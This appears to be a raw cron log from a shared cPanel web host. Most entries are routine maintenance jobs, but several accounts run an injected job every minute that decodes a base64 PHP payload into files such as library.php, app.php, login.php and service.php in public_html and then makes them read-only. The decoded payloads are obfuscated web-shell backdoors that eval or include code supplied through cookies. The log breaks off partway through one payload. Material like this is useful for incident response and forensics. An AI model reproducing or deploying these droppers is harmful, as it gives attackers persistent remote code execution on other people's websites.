Jun  7 07:05:02 medusa CROND[1371]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:05:02 medusa CROND[1373]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:05:02 medusa CROND[1374]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 07:05:02 medusa CROND[1377]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:05:02 medusa CROND[1375]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 07:05:02 medusa CROND[1369]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 07:05:02 medusa CROND[1383]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:05:02 medusa CROND[1387]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:05:02 medusa CROND[1384]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 07:05:02 medusa CROND[1388]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 07:05:02 medusa CROND[1389]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:05:02 medusa CROND[1395]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:05:02 medusa CROND[1391]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:05:02 medusa CROND[1399]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:05:02 medusa CROND[1402]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 07:05:02 medusa CROND[1386]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 07:06:01 medusa CROND[3556]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:06:01 medusa CROND[3592]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:06:02 medusa CROND[3613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:06:02 medusa CROND[3615]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 07:06:02 medusa CROND[3616]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:06:02 medusa CROND[3617]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:06:02 medusa CROND[3618]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 07:06:02 medusa CROND[3620]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:06:02 medusa CROND[3623]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 07:06:02 medusa CROND[3625]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:06:02 medusa CROND[3626]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 07:06:02 medusa CROND[3630]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:06:02 medusa CROND[3624]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:06:02 medusa CROND[3636]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:06:02 medusa CROND[3637]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:07:01 medusa CROND[5624]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 07:07:01 medusa CROND[5626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:07:01 medusa CROND[5627]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:07:01 medusa CROND[5629]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:07:01 medusa CROND[5631]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:07:01 medusa CROND[5632]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtl